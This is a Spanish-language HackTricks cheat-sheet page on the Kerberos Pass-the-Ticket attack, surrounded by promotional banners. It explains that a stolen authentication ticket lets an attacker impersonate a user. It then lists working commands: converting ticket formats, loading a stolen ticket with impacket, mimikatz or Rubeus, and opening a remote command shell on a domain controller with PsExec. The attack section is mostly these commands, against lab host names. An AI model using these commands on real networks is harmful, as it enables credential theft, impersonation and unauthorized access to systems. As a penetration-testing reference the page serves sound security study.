Pass the Ticket

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

• Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!

• Obtén artículos oficiales de PEASS & HackTricks

• Descubre La Familia PEASS, nuestra colección exclusiva de NFTs

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.

• Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. Obtén Acceso Hoy:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Pasar el Ticket (PTT)

En el método de ataque Pasar el Ticket (PTT), los atacantes roban el ticket de autenticación de un usuario en lugar de su contraseña o valores hash. Este ticket robado luego se utiliza para hacerse pasar por el usuario, obteniendo acceso no autorizado a recursos y servicios dentro de una red.

Leer:

• Recolección de tickets de Windows

• Recolección de tickets de Linux

Intercambio de tickets de Linux y Windows entre plataformas

La herramienta ticket_converter convierte formatos de tickets utilizando solo el ticket en sí y un archivo de salida.

python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi

python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Ataque Pass The Ticket

En Windows se puede utilizar Kekeo.

Linux

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/[e-mail] -k -no-pass

Windows

#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe][e-mail]"
.\Rubeus.exe ptt /ticket:[0;28419fe][e-mail]
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

Referencias

• https://www.tarlogic.com/blog/how-to-attack-kerberos/

Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. Obtenga acceso hoy:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Aprenda hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

• Si desea ver su empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulte los PLANES DE SUSCRIPCIÓN!

• Obtenga la ropa oficial de PEASS & HackTricks

• Descubra The PEASS Family, nuestra colección exclusiva de NFTs

• Únase al 💬 grupo de Discord o al grupo de telegram o síganos en Twitter 🐦 @carlospolopm.

• Comparta sus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.